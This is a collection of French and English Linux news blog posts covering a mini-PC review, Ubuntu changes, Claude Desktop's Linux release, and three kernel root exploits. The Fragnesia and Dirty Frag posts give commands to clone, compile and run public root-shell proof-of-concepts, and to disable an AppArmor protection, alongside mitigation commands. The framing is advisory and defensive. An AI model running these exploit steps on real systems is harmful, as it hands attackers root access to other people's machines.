Linux support is progressing for Snapdragon X2 laptops, but missing drivers and hardware limitations mean buyers should check exact models before switching.
The post Snapdragon X2 Linux Laptop Support: What Works, What Doesn’t appeared first on TechRepublic.
Chez moi, c'est un Mac mini qui gère à peu près tout depuis des mois. Il héberge mes projets de vibe coding, (pour ceux qui débarquent, on parle du développement où une IA écrit le gros du code pendant que je bois des chocolats chauds devant Rick et Morty), il fait tourner mes sessions de Claude, l'IA d'Anthropic, il pilote ma domotique, il surveille même mes NAS et mon Plex. Tout ça marche bien, je n'y touche presque jamais.
Sauf que voilà, il m'a fallu une seconde session de travail avec une autre instance de Claude/Codex, pour un projet qui n'avait rien à voir. J'ai d'abord pensé racheter un Mac mini. Et puis entre les prix qui ont gonflé et macOS qu'il aurait fallu piloter à distance en permanence, j'ai un peu baissé les bras.
GEEKOM m'a alors proposé de tester son A5 , un petit PC de la taille d'un Mac mini, 11,7 centimètres de côté pour 650 grammes, qu'on trouve autour de 500 euros avec trois ans de garantie. J'ai dit oui, forcément, même si je n'ai plus acheté de PC depuis 15 ans.
Dedans, il y a un Ryzen 7 7730U d'AMD avec huit cœurs, seize threads et une fréquence qui monte à 4,5 GHz, le tout dans 15 watts, donc ça chauffe vraiment très peu. Les 16 Go de mémoire DDR4 ne sont pas soudés, on peut aller jusqu'à 64 Go en ouvrant le boîtier, et ça, Apple ne vous laissera jamais le faire sur un Mac Mini.
Le SSD de 500 Go est déjà plus généreux que les 256 Go du Mac mini de base, et si ça ne suffit pas, il y a un deuxième emplacement M.2 et une baie pour un disque 2,5 pouces. En cumulant, on peut monter à 7 To.
Pour la connectique, j'ai de quoi voir venir, avec six ports USB dont deux USB-C, deux sorties HDMI qui gèrent jusqu'à quatre écrans 4K, du WiFi 6, du Bluetooth 5.4 et surtout un port Ethernet 2,5 gigabits, le seul que j'utilise vraiment vu que la machine discute toute la journée avec mes NAS, tout le monde à cette vitesse, ce qui est quand même bien sympathique.
La machine est livrée sous Windows 11, mais je lui ai installé un Ubuntu en version serveur. J'ai branché un écran une heure à tout casser, le temps de l'installation, de configurer le Bios pour qu'il redémarre tout seul en cas de panne de courant, et depuis je n'y touche plus qu'en SSH, la prise de contrôle à distance en ligne de commande. Et encore quand je dis "Je", ce sont mes IA et mes automatisations qui administrent la machine, et ça fonctionne, sans drame (j'ai BEAUCOUP de sauvegardes derrière, je vous conseille d'en avoir aussi si vous laissez l'IA administrer vos machines).
Le plus fou, et qui m'a vraiment surpris, c'est le silence. GEEKOM annonce autour de 28 décibels au repos et à peine plus en charge, et dans les faits je ne l'entends simplement jamais, alors qu'il est posé dans mon salon et qu'il tourne 24h/24. La consommation est ridicule aussi, environ un demi kilowattheure par jour.
Ce genre de machine peut servir à plein de choses, un petit serveur maison, Home Assistant pour la domotique, une médiathèque, des agents IA qui bossent la nuit, ou tout simplement un PC de bureau classique si vous le laissez sous Windows.
Et pour tout vous dire, sur cet usage serveur, il est même meilleur que mon Mac mini. Plus de bizarreries macOS, plus de mise à jour qui réclame une session ouverte, plus de réglage système qui se met en travers du chemin. Ubuntu fait ce qu'on lui demande et c'est vraiment très reposant.
Le circuit graphique Vega 8 intégré ne vous permettra pas de lancer GTA6 en 4K (en même temps il n'est toujours pas annoncé sur PC...), et il ne faut pas compter dessus pour faire tourner un gros modèle d'IA en local, mais pour du développement, du serveur et de la vidéo, c'est vraiment la machine idéale.
Si vous avez le même genre de besoin que moi, ou que vous avez envie d'expérimenter, vous pouvez y aller. L'A5 est en vente autour de 550 euros sur Amazon, dispo en cliquant ici .
Avec en plus un petit code promo :
Prix habituel : 549 €
Prix après réduction : 494 € (10 % de réduction)
Code promo : KORBA527 (valable jusqu'au 30 octobre)
![]()
Ubuntu 26.04 LTS est disponible depuis avril, et si vous l'avez installée, vous avez peut-être remarqué un truc : **Plus aucune notification de mise à jour !**L'icône qui vous prévenait dans la barre du haut a disparu, les pop-ups aussi. Rassurez-vous, ce n'est pas un bug mais un choix de design assumé par Canonical.
La clé show-updates-status-icon du paquet update-notifier est passée à false par défaut, du coup, votre système ne vous signale plus rien quand des paquets attendent d'être installés. Pour le savoir, il faut ouvrir un terminal ou lancer l'App Center à la main.
Je précise quand même un truc avant que tout le monde s'énerve, parce que beaucoup de Linuxiens n'aiment pas le changement ^^. Sachez que cette icône de notification est toute récente et n'existait pas sur Ubuntu 24.04, elle est arrivée avec la 25.10 pour remplacer le vieux pop-up intrusif du Software Updater. Donc cette 26.04 ne supprime pas une fonction historique, mais achève juste un machin qui avait à peine un an.
Donc avant de changer de distro en panique, non, votre sécurité n'est pas en jeu. Ubuntu garde unattended-upgrades, le service qui installe les correctifs de sécurité tout seul en arrière-plan, actif par défaut. Les failles critiques continuent donc d'être colmatées, c'est juste que vous n'êtes plus au courant quand ça se produit.
Sauf qu'il y a un petit bémol bien réel : LTS. Une version LTS, c'est celle qu'on garde 5 ans, souvent installée sur le PC de quelqu'un qui n'ouvrira jamais un terminal (coucou l'ordi de vos parents). Et unattended-upgrades ne gère par défaut que la sécurité, et pas les mises à jour applicatives. Vos applis en Snap comme Firefox continuent donc bien de se mettre à jour toutes seules dans leur coin, mais vos paquets .deb non critiques, eux, vont s'empiler sans que personne ne vous prévienne. C'est la seule vraie critique à faire à Canonical sur ce coup. Après c'est un éditeur
coutumier des choix qui divisent
, donc on commence à avoir l'habitude, mais bon voilà, il faudra penser à faire les mises à jour non critiques.
Le plus gênant, c'est qu'il n'y a pas non plus de bouton dans les réglages pour réactiver cette icône. La seule voie passe donc par gsettings, et la valeur par défaut, elle, reste sur off.
Donc voici comment faire si l'idée de piloter vos mises à jour à l'aveugle vous refroidit. Une ligne de commande et l'icône revient :
gsettings set com.ubuntu.update-notifier show-updates-status-icon true
Voilà, voilà, vous retrouvez vos notifications comme avant sans avoir besoin de réinstaller quoi que ce soit.
Bref, rien de dramatique, mais un défaut trèèèès discutable notamment sur les versions LTS qu'on garde des années.
![]()
Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows : sessions parallèles , revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct.
C'est le même Claude Code que d'habitude, mais dans une vraie fenêtre de bureau au lieu de votre terminal.
Pour l'installer, il vous faudra Ubuntu 22.04 ou plus récent, ou Debian 12 ou plus, en x86_64 ou arm64. Vous ajoutez la clé de signature et le dépôt d'Anthropic, et vous laissez apt bosser :
sudo curl -fsSLo /usr/share/keyrings/claude-desktop-archive-keyring.asc https://downloads.claude.ai/claude-desktop/key.asc
echo "deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/claude-desktop-archive-keyring.asc] https://downloads.claude.ai/claude-desktop/apt/stable stable main" | sudo tee /etc/apt/sources.list.d/claude-desktop.list
sudo apt update && sudo apt install claude-desktop
Et voilà !
L'intérêt de passer par le dépôt plutôt que par un fichier, c'est que les mises à jour arrivent avec vos apt upgrade habituels, sans rien re-télécharger à la main.
Y'a bien un .deb à récupérer sur
claude.com/download
si vous ne pouvez pas utiliser le dépôt, mais celui-là ne se mettra jamais à jour tout seul.
Alors cette news pourrait vous étonner mais jusqu'ici, pour avoir Claude Desktop sur Linux, fallait passer par des projets communautaires pas toujours très bien maintenus. Le plus costaud et le plus connu, c'était
aaddrick/claude-desktop-debian
qui pourtant n'était pas magique puisqu'il téléchargeait l'installeur Windows, en extrayait l'app Electron (le fameux app.asar), virait les modules natifs Windows-only pour les remplacer par des stubs Linux, recompilait node-pty, patchait les verrous de plateforme et repackageait tout ça en .deb.
Vous faisiez donc tourner le JavaScript prévu pour Windows, avec une bonne dose de bricolage et bizarrement ça marchait bien. Mais bon ça restait un repack par-dessus un binaire qui n'était pas conçu pour le manchot...
Toutefois, une beta restant une beta, le Computer Use (le contrôle de votre écran et de vos applis) n'est pas dispo ni la dictée vocale. Faudra passer par le CLI pour ça.
Et surtout, Anthropic ne couvre pour le moment que les distributions basées sur Debian. Pas de Fedora, RHEL, Arch ou Nix, alors que le projet communautaire balançait des .rpm, des AppImage, un paquet AUR et un flake Nix. Snif...
Donc oui, l'app officielle débarque, mais elle boite un peu. Maintenant, j'sais pas vous mais je préfère quand même largement le CLI Claude Code à cette app et elle a le mérite de très bien fonctionner sur bien plus de distributions.
En attendant, si vous êtes sur Debian ou Ubuntu, l'install prend deux minutes et la doc complète est par ici .
PS : Et au moment où je finalise cet article, je vois qu' Anthropic a sorti Claude Science qui promet d'accompagner la recherche scientifique... Je vous laisse aller voir ça, moi je crois que j'ai assez parlé d'eux pour auj. ^^
![]()
Oliver Sieber, un chercheur de chez Exodus Intelligence, vient de publier l'exploit complet d'une faille qui tient dans un seul caractère. C'est la CVE-2026-23111, planquée dans nf_tables, c'est à dire au bout du noyau Linux qui filtre les paquets réseau. Un bug discret donc, qui transforme un compte tout pourri, sans le moindre privilège, en compte root sur la machine... et qui vous fait sortir d'un conteneur au passage.
Le scénario, vous le connaissez si vous traînez ici depuis un moment. Un utilisateur qui dispose d'un compte sans droit particulier sur une machine Linux (y compris parce qu'il a exploité une autre faille avant, dans une appli web par exemple) lance l'exploit, et se retrouve avec les pleins pouvoirs. Pas de vecteur distant, rien à cliquer : c'est l'arme qu'on dégaine une fois le pied dans la porte. Que ce soit un shell avec des droits limités, un conteneur compromis, un compte de service... tout y passe et hop, root sur l'hôte !
Le bug lui-même, c'est ce qu'on appelle un use-after-free, c'est à dire que le noyau réutilise un bout de mémoire qu'il a déjà libéré, et forcément ça part en vrille. Exodus a titré son analyse complète "Off By !", un clin d'œil au classique off-by-one des développeurs, sauf qu'ici le coupable c'est un test inversé. Un caractère de trop, une condition qui dit l'inverse de ce qu'elle devrait, et voilà. Et le correctif, lui, tient en une seule ligne.
Le fameux caractère : le ! qui inversait le test dans nft_map_catchall_activate(). Le correctif le retire, et c'est tout (commit 8fdb05de).
La faille a d'ailleurs été reproduite deux fois, par deux équipes qui ne se sont pas concertées. Exodus l'a validé sur Debian Bookworm, Debian Trixie, Ubuntu 22.04 et 24.04. FuzzingLabs avait sorti sa propre version dès avril, par un chemin complètement différent, et l'avait fait tourner sur RHEL 10 juste avant le Pwn2Own de Berlin. Bref, ça marche, c'est bien documenté, et c'est public.
Mais le pire, c'est le calendrier de tout ce merdier puisque le patch a été mis à dispo le 5 février. Ensuite, y'a eu l'exploit de FuzzingLabs publié le 16 avril, suivi d'un write-up détaillé d'Exodus le 8 juin. Autrement dit, ça fait des mois que le correctif existe et des semaines que le code d'exploitation traîne dans la nature.
La seule chose qui vous sépare donc d'un compte root offert à n'importe qui, c'est d'avoir mis à jour ou pas.
Et cette faille s'ajoute à une sacrée série de failles root-local sur Linux ce printemps. Y'a eu Copy Fail , y'a eu Dirty Frag et sa variante Fragnesia ... à chaque fois le même refrain, un compte sans droit qui finit root sur une install standard. C'est devenu presque routinier, et Synacktiv pointe une raison plutôt pertinente en nous expliquant que c'est à cause (ou grâce ^^) aux outils d'IA qui décortiquent les patchs pour en sortir un exploit rapidos, qui marche direct avant même que la correction soit déployée partout.
Du coup, qu'est-ce que vous devez faire ?
Hé bien le plus simple d'abord, c'est de mettre à jour le noyau et vous rebootez. Ubuntu a corrigé 22.04, 24.04 et 25.10, Debian a patché Bookworm et Trixie (avec un backport en 6.1 pour Bullseye), et Red Hat, SUSE et Amazon Linux ont suivi. Comme la version corrigée exacte dépend de votre distrib, jetez donc un œil à l'advisory qui correspond à la vôtre.
Si vous gérez une machine où tournent des utilisateurs ou des workloads pas franchement de confiance, vous pouvez également couper le chemin d'attaque sans attendre le patch. La faille a besoin des user namespaces non privilégiés, un mécanisme qui laisse un process lambda se bricoler son propre bac à sable avec des droits root à l'intérieur.
Et nf_tables comme ces namespaces, sur la plupart des desktops et pas mal de serveurs, c'est actif par défaut, donc oui, sans le patch vous êtes probablement exposé.
Pour les désactiver, le plus universel c'est user.max_user_namespaces=0 : un sysctl -w user.max_user_namespaces=0 pour tout de suite, et la même ligne dans un fichier genre /etc/sysctl.d/99-userns.conf pour que ça tienne au reboot.
Ça marche sur toutes les distros mais c'est radical, ça coupe tous les user namespaces, même ceux de root. Sur Debian et les vieilles Ubuntu, t'as plus fin avec kernel.unprivileged_userns_clone=0 qui ne vise que les non-privilégiés. Et sur Ubuntu 24.04, bonne nouvelle, c'est déjà restreint par défaut via AppArmor. Attention quand même, ça peut casser des trucs qui s'appuient dessus, genre le bac à sable de Chrome ou Flatpak.
À faire en connaissance de cause, donc.
La parade en vrai : une fois les user namespaces non privilégiés coupés, un compte lambda qui tente d'en créer un (le prérequis de l'exploit) se fait jeter sur un "No space left on device".
Après la bonne nouvelle, c'est que d'après les chercheurs, aucune exploitation dans la nature pour cette faille précise n'a été constaté à ce jour. Après comme sa cousine Copy Fail, elle, a déjà atterri au catalogue des failles activement exploitées de la CISA, ne traînez pas trop. Bref, comme d'hab padpanik, vous mettez à jour, vous rebootez, et on n'en parle plus.
![]()
Nos confrères de chez Phoronix ont publié un comparatif des performances du tout nouveau Ryzen 9 9950X3D2 d'AMD sous deux systèmes : Windows 11 et Ubuntu 26.04 LTS. Le verdict est sans appel, Linux prend une avance très nette sur Windows sur la majorité des charges de travail testées.
Petit point pour ceux qui décrochent dès qu'on parle de processeur. Le 9950X3D2, c'est une variante Dual Edition du processeur haut de gamme d'AMD pour le grand public. Elle embarque 16 cœurs, 32 threads, et surtout une particularité plutôt rare : une mémoire cache 3D (le V-Cache, une couche de mémoire ultra-rapide empilée physiquement sur la puce) présente sur les deux blocs de cœurs, là où les versions précédentes n'en avaient que sur un seul.
En pratique, les deux moitiés du processeur peuvent piocher dans une grosse réserve de mémoire rapide, ce qui accélère pas mal de calculs gourmands.
Phoronix a fait tourner ses batteries de benchmarks habituelles : compilation de code, encodage vidéo, calcul scientifique, rendu 3D, base de données. Sur la majorité de ces tests, Ubuntu 26.04 arrive devant Windows 11, parfois de quelques pourcents, parfois beaucoup plus selon la charge. Quand on additionne tout, ça donne une moyenne nettement à l'avantage du pingouin.
C'est un constat qui revient quasi à chaque test du genre depuis plusieurs années. Linux fait souvent mieux tourner les processeurs serveur ou les CPU multi-cœurs musclés que Windows, notamment parce que son ordonnanceur (le bout du système qui décide quel programme tourne sur quel cœur et à quel moment) est plus malin avec les architectures complexes.
AMD, avec son design en deux blocs séparés et son cache 3D asymétrique, est typiquement le genre de processeur où ça compte vraiment.
Côté Windows, c'est un peu toujours la même histoire. Microsoft a fait des efforts ces dernières années pour mieux gérer les Ryzen, mais le système traîne encore quelques inefficacités et un fond plus lourd. Pour un gamer pur, ça n'a probablement pas grand impact. Mais pour un développeur, un créateur de contenu ou quelqu'un qui compile son propre code, l'écart commence vraiment à avoir du sens.
On peut d'ailleurs se demander si AMD finira par sortir une version officiellement labellisée Linux. Pour l'instant, rien d'annoncé. Mais bon, qu'un constructeur grand public reconnaisse explicitement que son matos tourne mieux sous Linux serait déjà une petite révolution culturelle.
Source : Phoronix
![]()
Bon, accrochez vous les amis, car ça enchaine sec sur le kernel Linux en ce moment... Le chercheur William Bowling de l'équipe V12 security vient de lâcher Fragnesia (CVE-2026-46300, CVSS 7.8), un nouvel exploit kernel Linux qui permet d'obtenir un accès root sur toutes les distros majeures, et ce, 8 jours seulement après le patch de Dirty Frag.
Et la mauvaise nouvelle, en fait, c'est que Fragnesia tape dans la même surface d'attaque que Dirty Frag , mais via un bug logique différent qui n'est pas fixé par le patch initial. Donc si vous aviez sagement mis à jour votre noyau le 8 mai dernier en pensant être tranquille, hé bah désolé, vous êtes toujours à poil !
La lignée "Dirty" continue donc tout simplement de s'allonger... Dirty COW en 2016, Dirty Pipe en 2022, Copy Fail le 1er mai 2026, Dirty Frag le 8 mai, et maintenant Fragnesia le 14 mai. Quatre LPE (local privilege escalation) kernel Linux en deux semaines, c'est un record je crois !
Alors comment ça marche ?
Le bug se planque dans la partie du kernel qui gère le chiffrement réseau IPsec. C'est le truc qu'on utilise pour faire du VPN d'entreprise et l'attaque détourne le moteur de chiffrement pour qu'il écrive là où il ne devrait surtout pas écrire.
Le déroulé ensuite est assez simple à comprendre. Il prend un fichier sensible déjà ouvert en lecture (genre /usr/bin/su, le programme qui fait passer en root), il le balance dans une connexion réseau, et il dit au kernel "tiens, chiffre-moi tout ça en IPsec". Le kernel obéit gentiment, sauf qu'au lieu d'envoyer le résultat chiffré sur le réseau, il vient écraser la version du fichier qui est en mémoire avec les octets chiffrés. Du coup /usr/bin/su contient maintenant du code choisi par l'attaquant. Suffit ensuite de taper su pour devenir root.
Et là c'est le drame !
Le pire, c'est qu'il n'y a aucun "tirage au sort" dans tout ça. Pas besoin de gagner une condition de course une fois sur mille comme à l'époque de Dirty COW. Là, c'est 100% reproductible à chaque exécution, ça marche du premier coup.
La cause profonde, c'est une fonction kernel qui assemble des morceaux de paquets réseau et qui oublie au passage que certains morceaux pointent vers de la mémoire qui ne lui appartient pas vraiment (genre la mémoire d'un fichier qu'un autre process est en train de lire). Bowling appelle ça la "famille Dirty Frag" parce que c'est exactement le même genre d'amnésie qui avait permis Dirty Frag la semaine dernière.
Et le patch du 8 mai n'a pas suffi parce qu'il a juste rebouché un trou particulier, sans toucher à la fonction d'origine. D'où la sortie immédiate du PoC le 14 mai, parce qu'autant prévenir tout le monde, plutôt que de laisser un 0-day silencieux circuler dans les milieux moins recommandables d'Internet.
Testez sur votre Linux
Si vous voulez reproduire ça dans un environnement isolé (genre une VM Ubuntu 24.04 avec un kernel 6.8.0-111-generic), c'est simple :
git clone https://github.com/v12-security/pocs.git
cd pocs/fragnesia
gcc -o exp fragnesia.c && ./exp
Petite subtilité à connaître sur Ubuntu, AppArmor restreint les "user namespaces" (les bacs à sable du kernel) pour les utilisateurs non-privilégiés depuis Ubuntu 24.04. Du coup, avant de lancer l'exploit, faut faire sauter ce verrou de sécurité :
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
Et là vous récupérez un shell root sans crasher le kernel... vous allez voir, c'est presque magique !
⚠️ Attention, après le test, le /usr/bin/su en mémoire est toujours pété (il contient encore le code de l'attaquant). Donc avant de continuer à utiliser la machine, faut nettoyer ce cache mémoire :
echo 3 > /proc/sys/vm/drop_caches
Ou plus simple, vous rebootez la VM puisque la corruption est uniquement en RAM.
Alors on fait quoi maintenant ?
D'abord, du côté patch, AlmaLinux a déjà sorti des kernels corrigés (kernel-4.18.0-553.124.3.el8_10 pour AL8, kernel-5.14.0-611.54.5.el9_7 pour AL9, et kernel-6.12.0-124.56.3.el10_1 pour AL10). Ensuite, pour les autres distros (Ubuntu, Debian, RHEL, SUSE, Fedora, Gentoo, Amazon Linux, CloudLinux), c'est en cours, mais pas encore disponible partout à l'heure où j'écris ces lignes.
En attendant, la mitigation est exactement la même que pour Dirty Frag, ce qui est plutôt cool, et même pratique, si vous l'aviez déjà appliquée la semaine dernière (rien à refaire, vous êtes déjà protégé contre la nouvelle bête, c'est cadeau). Si ce n'est pas le cas, voici la commande à coller en root, à exécuter sur chaque machine concernée :
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/fragnesia.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
Cette ligne bloque les trois modules vulnérables (esp4, esp6 et rxrpc) pour qu'ils ne se rechargent pas au reboot, les décharge s'ils tournent déjà, et nettoie le cache mémoire au cas où il serait déjà corrompu.
Pour rappel, ces trois modules ne servent qu'à du VPN IPsec en mode transport et à un protocole réseau exotique d'Andrew File System. Du coup, 99% des desktops et serveurs classiques ne perdent rien à les désactiver. Si vous opérez du VPN IPsec en prod par contre, là attention, faudra attendre le patch officiel de votre distro et bricoler une rotation de modules en attendant.
Une fois que votre distro pousse le patch officiel (espérons que ce sera très bientôt côté Ubuntu et Debian), vous mettez à jour le noyau, vous rebootez la bécane, et vous retirez tranquillement la conf de modprobe.
Source : github.com/v12-security/pocs
![]()
Le chercheur en sécu Hyunwoo Kim vient de lâcher dans la nature Dirty Frag, un nouvel exploit kernel Linux qui enchaîne 2 vulnérabilités pour obtenir un accès root sur n'importe quelle distro majeure, avec un taux de réussite proche de 100%.
L'embargo devait tenir encore quelques semaines. Il n'a pas tenu.
Et problème (et c'est pour ça que je vous en parle) c'est que ça marche du feu de dieu, et que personne n'a encore de patch disponible !! Alerte rouge donc !!
La lignée "Dirty" a donc maintenant quatre membres. Dirty COW en 2016, avec ses 9 ans de présence silencieuse dans le kernel avant d'être découvert, Dirty Pipe en 2022, Copy Fail dont je vous parlais il y a tout juste 8 jours, découvert par une IA. Et maintenant Dirty Frag, qui s'appuie sur le même principe que Copy Fail tout en contournant sa mitigation connue.
Alors comment ça marche ?
Le concept du truc c'est l'abus d'un mécanisme tout à fait légitime du kernel Linux : splice(). Cette fonction permet de faire circuler des données entre deux descripteurs de fichiers sans les copier en mémoire. C'est très utile, très performant, mais dans certaines configurations, c'est surtout très catastrophique.
Dirty Frag exploite les modules réseau d'IPsec (ESP) et du protocole RxRPC, ainsi quand un attaquant utilise splice() pour faire passer une page du cache mémoire (disons, /usr/bin/su) dans un buffer réseau, le kernel effectue son chiffrement directement sur cette page en RAM et sans faire de copie.
Résultat, les premiers octets de /usr/bin/su en mémoire sont remplacés par du code malveillant qui ouvre un shell root. Un simple appel à su ensuite, et l'attaquant est root.
Deux CVE sont impliqués dans la chaîne. CVE-2026-43284 qui concerne les modules esp4 et esp6 et qui a été patchée depuis hier et CVE-2026-43500 qui concerne rxrpc et pour celle-ci, y'a aucun patch actuellement à l'heure où j'écris ces lignes.
Le fait de chainer les 2 exploits permet à chacun de combler les angles morts de l'autre. C'est un peu technique mais en gros, la variante ESP requiert les droits de créer un namespace utilisateur, ce qu'Ubuntu peut bloquer via AppArmor. Alors que de son côté, la variante RxRPC ne nécessite pas ce privilège, mais le module rxrpc.ko n'est chargé par défaut que sur... Ubuntu. Du coup, une fois combinés, ils couvrent toutes les distros majeures sans exception.
Hyunwoo Kim a reporté la faille aux mainteneurs des distribs le 30 avril dernier, avec un accord de divulgation coordonnée via linux-distros@vs.openwall.org. Mais un tiers extérieur (appelons le "connard" ^^) a brisé l'embargo hier, d'où la publication immédiate du PoC, avec l'accord des maintainers, pour éviter qu'un exploit silencieux circule sans que personne soit prévenu.
Les versions testées et confirmées vulnérables sont donc Ubuntu 24.04.4, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44.
En gros, si vous avez un kernel compilé depuis début 2017, vous êtes dans le scope.
Tester avec Lima sur macOS
Si vous voulez reproduire ça dans un environnement contrôlé, l'idée c'est de lancer une Ubuntu 24.04 avec le kernel non patché et de faire comme ceci :
# Cloner, compiler, et lancer
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
sudo apt install gcc -y && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Et si tout se passe bien, vous obtenez alors un shell root sans faire paniquer le kernel comme chez moi ici :
Après le test, le page cache est contaminé donc avant de faire quoi que ce soit d'autre, faut le nettoyer. :
echo 3 > /proc/sys/vm/drop_caches
Ou plus simple, redémarrez la machine car la modification est uniquement en RAM, donc un reboot permet de repartir de zéro.
Alors que faire ?
Hé bien, comme aucun patch n'est disponible pour la plupart des distros à l'heure où j'écris ces lignes, vous pouvez vous mettre en boule et pleurer. Sauf si vous êtes sous AlmaLinux car eux ont déjà poussé des kernels corrigés. Après vous pouvez aussi sécher vos larmes si vous êtes sur une autre distro, et suivre cette remédiation qui vous prendra trente secondes :
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
Cette commande fait trois choses : elle blackliste les modules vulnérables pour qu'ils ne se rechargent pas au prochain boot, elle les décharge s'ils sont actifs, et elle nettoie le page cache au cas où il serait déjà corrompu.
Après c'est tranquille à faire car esp4, esp6 et rxrpc ne sont pas des modules que la plupart des machines desktop utilisent au quotidien. Les désactiver n'a donc aucun impact visible sur 99% des setups. Mais un serveur qui fait du VPN IPsec en mode transport ESP, lui, sera affecté...
En tout cas, surveillez ça de près car une fois que votre distro sortira le patch, faudra mettre à jour et rebooter.
Source : https://github.com/V4bel/dirtyfrag
![]()
Servers operated by Ubuntu and its parent company Canonical were knocked offline on Thursday morning and have remained down ever since, a situation that’s preventing the OS provider from communicating normally following the botched disclosure of a major vulnerability.
Attempts to connect to most Ubuntu and Canonical webpages and download OS updates from Ubuntu servers have consistently failed over the past 24 hours. Updates from mirror sites, however, have continued to work normally. A Canonical status page said: “Canonical’s web infrastructure is under a sustained, cross-border attack and we are working to address it.” Other than that, Ubuntu and Canonical officials have maintained radio silence since the outage began.
A group sympathetic to the Iranian government has taken credit for the outage. According to posts on Telegram and other social media, the group is responsible for a DDoS attack using Beam, an operation that claims to test the ability of servers to operate under heavy loads but, like other “stressors,” are, in fact, fronts for services miscreants pay for to take down third-party sites. In recent days, the same pro-Iran group has taken credit for DDoSes on eBay.
![]()
![]()
Jon Seager, VP Engineering chez Canonical, vient de poser sur le Discourse Ubuntu le plan IA de la distrib pour les 12 prochains mois. Et ça va saupoudrer partout, du speech-to-text amélioré aux workflows agentic, en passant par l'analyse automatisée des logs serveur. Le timing est limpide, et à peine Ubuntu 26.04 LTS est sortie que Canonical aligne déjà sa "next big thing".
Concrètement, vous tapez snap install nemotron-3-nano et tadaa, vous récupérez un modèle local pré-optimisé pour votre silicium (genre 2 à 4 Go selon la quantization), avec un endpoint API compatible OpenAI servi sur localhost. C'est ça, leurs fameuses Inference Snaps.
La liste tourne autour de Gemma 4 (Google DeepMind), Qwen-3.6-35B-A3B, Nemotron-3-nano, DeepSeek et Llama, et perso je trouve le choix plutôt cohérent vu qu'il colle aux modèles open weight les plus chauds du moment. Bien sûr, l'inférence est locale par défaut plutôt que cloud, l'idée étant d'éviter d'envoyer vos prompts chez un tiers chaque fois que vous demandez un résumé de log.
Côté technique, tout passe par la sandbox Snap pour gérer les permissions, ce qui change pas mal la donne par rapport à un binaire qui pourrait taper partout sur le disque.
Ubuntu 26.04 LTS embarque déjà la "prompting capability" qui permet d'autoriser ou refuser l'accès aux modèles app par app et les fonctionnalités attendues couvrent les ajustements caméra et micro (réduction de bruit, flou d'arrière-plan), l'accessibilité écran, l'automatisation du troubleshooting, et côté serveur, l'aide à l'interprétation des incidents pour les équipes SRE.
Pour ceux qui bossent sur des fermes de serveurs, à vrai dire c'est ce dernier point qui sera vraiment utile, parce que pour parser des logs à la main quand ça part en cacahuète, ça vaut le coup d'avoir une IA qui dégrossit.
Le hic dans ce thread Discourse, c'est l'absence de killswitch IA global comme le propose Firefox. Plusieurs utilisateurs demandent un opt-in clair plutôt qu'un opt-out diffus, et un alignement explicite avec la définition Open Source AI de l'OSI. La position de Canonical, c'est que désinstaller les Snaps IA = killswitch de fait, vu que toutes les features IA passeront par là. Pas de gros bouton rouge "désactive-moi tout ça" global, donc, mais un contrôle granulaire au niveau Snap, avec Ubuntu 26.10 qui arrive en mode preview "strictly opt-in" et un setup wizard à partir de 27.04 qui demandera à l'install si vous voulez ces features ou pas. Comme les LLMs sont trop gros pour rentrer dans l'ISO, ils sont téléchargés après coup, ce qui rend l'opt-in assez naturel à implémenter techniquement.
La réponse de Seager sur le débat est nette, "some features will use AI, and if you use those features, you'll be using some sort of AI model", mais il tempère quand même avec "not to force AI into every Desktop indiscriminately, but rather to enhance certain features where it makes sense". Bref, comme d'hab, ça en calmera certains, mais vu comment certains ont littéralement fondu un plomb quand Firefox a adopté ses fonctionnalités IA (locales et désactivables, je le rappelle), j'imagine que Ubuntu va se prendre sa petite shitstorm de "j'suis tout rouge et pas content" dans pas longtemps...
Cette ambiguïté fait d'ailleurs déjà grincer des dents sur certaines chaînes YouTube de barbus, où le terme "Microsoft 2.0" ressort déjà dans plusieurs vidéos critiques. Ahaha, c'est toujours le même gag ! Mais Canonical jure ses grands morts que ce sera différent... Tenez la citation officielle "Ubuntu is not becoming an AI product, but it can become stronger with thoughtful AI integration".
Et l'autre point qui va faire grincer des dents, c'est que Canonical confirme aussi accepter dans Ubuntu du code co-écrit avec une IA, en s'alignant sur la politique récente du kernel Linux qui a déjà ouvert la porte à ce type de contributions. À voir comment les puristes vont digérer ça, mais c'est en train de devenir la norme dans l'écosystème open source, alors autant que Canonical le dise franchement plutôt que de le faire en douce.
Maintenant pour les sceptiques qui veulent tester sans s'engager, la bidouille est simple. D'abord, vous laissez les Inference Snaps non installés (ils ne sont pas dans le seed par défaut). Ensuite, vous bloquez les capabilities IA dans snap connections. Et comme ça vous gardez la main sur ce qui tourne en local.
Après si vous voulez expérimenter, l'API OpenAI-compatible permet de faire pointer n'importe quelle app dessus avec deux lignes de config, ce qui est vraiment pratique pour comparer un modèle 3B local face à GPT-4 cloud sur des tâches précises. Sauf si votre machine n'a pas assez de VRAM, et là le modèle 3B va ramer comme un veau et vous reviendrez vite vers le cloud... pas glop.
Il reste quand même la vraie question, qui est celle de la transparence des datasets de training. Là dessus, Canonical n'a pas encore donné de réponse claire, et c'est probablement là que se jouera la confiance long terme.
Promettre l'open weight déjà c'est bien, mais expliquer comment les modèles ont été entraînés ça serait franchement mieux.
Bref, à surveiller dès Ubuntu 26.10 en octobre 2026 pour la preview opt-in, et plus largement à partir de 27.04 quand le setup wizard intégrera la question. Pour l'instant, la roadmap c'est surtout beaucoup d'intentions louables, mais bon, on en reparlera dans six mois.
Source : Phoronix
![]()
